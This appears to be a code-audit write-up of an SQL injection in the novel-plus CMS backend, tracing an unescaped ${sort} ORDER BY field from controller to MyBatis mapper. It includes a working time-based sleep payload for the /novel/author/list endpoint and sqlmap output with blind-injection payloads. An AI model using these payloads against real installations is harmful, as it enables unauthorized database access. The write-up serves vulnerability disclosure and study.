

## Application Introduction

novel-plus is a multi-terminal (PC, WAP) reading, full-featured original literature CMS system.

[https://gitee.com/novel\\_dev\\_team/novel-plus](https://gitee.com/novel_dev_team/novel-plus)

<https://github.com/201206030/novel-plus>

## Vulnerability Introduction

Please refer to the official manual for the build environment

In the background, the parameters of sql execution are not handled, leading to sql injection vulnerability

## Code Audit Process

The vulnerability was found in the backend, and during the white-box audit, it was discovered that the backend password was weak by default, and the cause was the inability to pre-compile the orderby field using mybatis, and no filtering was done

There is a list method under the author controller in the novel module, which does not have any processing of the parameters to go to the next step in the process, and then we debug to follow up

```
@ApiOperation(value = "获取小说表列表", notes = "获取小说表列表")
@ResponseBody
@GetMapping("/list")
@RequiresPermissions("novel:book:book")
public R list(@RequestParam Map<String, Object> params) {
    // 查询列表数据
    Query query = new Query(params);
    List<BookDO> bookList = bookService.list(query);
    int total = bookService.count(query);
    PageBean pageBean = new PageBean(bookList, total);
    return R.ok().put("data", pageBean);
}
```

Then call the list method of the AuthorService interface class

```
1 个实现
List<BookDO> list(Map<String, Object> map);
```

Continue tracing back to the Dao interface layer

```
@Override
public List<BookDO> list(Map<String, Object> map){
    return bookDao.list(map);
}
```

Finally locate the Authormapper.xml file

```
<if test="lastIndexId != null and lastIndexId != ''" and last_index_id = #{lastIndexId}>
<if test="lastIndexName != null and lastIndexName != ''" and last_index_name = #{lastIndexName}>
<if test="lastIndexUpdateTime != null and lastIndexUpdateTime != ''" and last_index_update_time = #{lastIndexUpdateTime}>
<if test="isVip != null and isVip != ''" and is_vip = #{isVip}</if>
<if test="status != null and status != ''" and status = #{status}</if>
<if test="updateTime != null and updateTime != ''" and update_time = #{updateTime}</if>
<if test="createTime != null and createTime != ''" and create_time = #{createTime}</if>
<if test="crawlSourceId != null and crawlSourceId != ''" and crawl_source_id = #{crawlSourceId}</if>
<if test="crawlBookId != null and crawlBookId != ''" and crawl_book_id = #{crawlBookId}</if>
<if test="crawlLastTime != null and crawlLastTime != ''" and crawl_last_time = #{crawlLastTime}</if>
<if test="crawlIsStop != null and crawlIsStop != ''" and crawl_is_stop = #{crawlIsStop}</if>
</where>
<choose>
<when test="sort != null and sort.trim() != ''"
    order by ${sort} ${order}
</when>
```

Here it is found that it accepts a parameter called sort, check as long as it is not empty and not a space

Write a payload for manual testing

/novel/author/list?limit=10&offset=0&order=desc&sort=(select\*from(select%2Bsleep(5)union%2F\*\*%2Fselect%2B1)a)

状态	方法	域名	文件	发起者	类型	响应	大小
200	GET	localhost	list?limit=10&offset=0&order=desc&sort=(select*from(select%2Bsleep(5)union%2F**%2Fselect%2B1)a)	vs document	Html	1.23 KB	1.08 KB
200	GET	localhost	jquery.min.js?v=2.1.4	script	js	已缓存	0 字节
200	GET	localhost	bootstrap.min.js?v=3.3.6	script	js	已缓存	0 字节
200	GET	localhost	favicon.ico	FaviconLoader(jm:180)	json	已缓存	36 字节
500	GET	localhost					0 字节

The delay is successful, in order to better demonstrate the effect, use sqlmap to test the local environment, grab the package to save the file, and then test

```
[09:57:57] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1275 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: http://localhost:80/novel/author/list?limit=10&offset=0&order=desc&sort=(SELECT (CASE WHEN (7683=7683) THE
N '' ELSE (SELECT 1660 UNION SELECT 8455) END))

  Type: time-based blind
  Title: MySQL ≥ 5.0.12 time-based blind - Parameter replace
  Payload: http://localhost:80/novel/author/list?limit=10&offset=0&order=desc&sort=(CASE WHEN (3196=3196) THEN SLEEP(
5) ELSE 3196 END)
---
[09:57:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL ≥ 5.0.12
```

As you can see, using the sqlmap tool, the database vulnerability of the target host was successfully obtained